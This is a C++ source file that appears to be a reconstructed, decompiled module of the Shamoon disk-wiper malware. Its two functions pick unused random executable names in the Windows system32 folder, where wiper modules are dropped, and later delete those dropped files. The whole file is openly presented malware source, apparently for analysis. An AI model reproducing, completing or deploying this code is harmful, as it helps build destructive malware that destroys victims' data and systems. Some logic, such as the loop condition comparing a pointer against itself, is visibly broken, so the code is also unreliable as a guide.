// Copyright 2015 Christian Roggia. All rights reserved.
// Use of this source code is governed by an Apache 2.0 license that can be
// found in the LICENSE file.

#include "Wiper.h"
#include "../Global/Global.h"
#include "../Utils/String.h"
#include "../Utils/System.h"
#include "../Utils/General.h"

void Shamoon::Modules::Wiper::DeleteWiperModules()
{
	const WCHAR *szSvcName; // [sp+20h] [bp-808h]@1
	WCHAR szSvcPath[1024]; // [sp+24h] [bp-804h]@2
	
	// Put the pointer of the first string of the array
	szSvcName = g_random_svc_name[0];
	
	// Delete all the modules written
	do
	{
		// Get the module absolute path
		M_STRING04
		(
			szSvcPath,
			
			g_szWinDir,
			L"\\system32\\",
			szSvcName,
			L".exe"
		)
		
		// Delete the module if exists
		DeleteFileW(szSvcPath);
		
		// Next random name
		szSvcName += 15;
	}
	while(szSvcName < &szSvcName[29]);
}

bool Shamoon::Modules::Wiper::GetWiperSpecific(WCHAR *szSvcName, WCHAR *szSvcPath)
{
	INT32 nCounter = 0;
	
	// Search a file which has not already written
	while(1)
	{
		++nCounter;
		
		// Get a random module name
		M_STRING02
		(
			szSvcName,
			
			g_random_svc_name[Shamoon::Utils::GetRandom() % 29],
			L".exe"
		)
		
		// Get the random module absolute path
		M_STRING03
		(
			szSvcPath,
			
			g_szWinDir,
			L"\\system32\\",
			szSvcName
		)

		HANDLE hFileHandle;
		INT32 nLastError;
		
		// Check if the file already exists
		EXECUTE_WOW64_FILE_OPERATION
		(
			hFileHandle = CreateFileW(szSvcPath, 0x80000000, 7, 0, 3, 0x100000, 0);
			nLastError   = GetLastError();
		)
		
		// If not, break the loop
		if(hFileHandle == INVALID_HANDLE_VALUE && nLastError == ERROR_FILE_NOT_FOUND)
			break;
		
		// Else close the handle a try another module name
		CloseHandle(hFileHandle);
		
		// Strange, because if the counter is 29 it doesn't mean that all the random names has been tested
		if(nCounter >= 29)
			return false;
	}
	
	return true;
}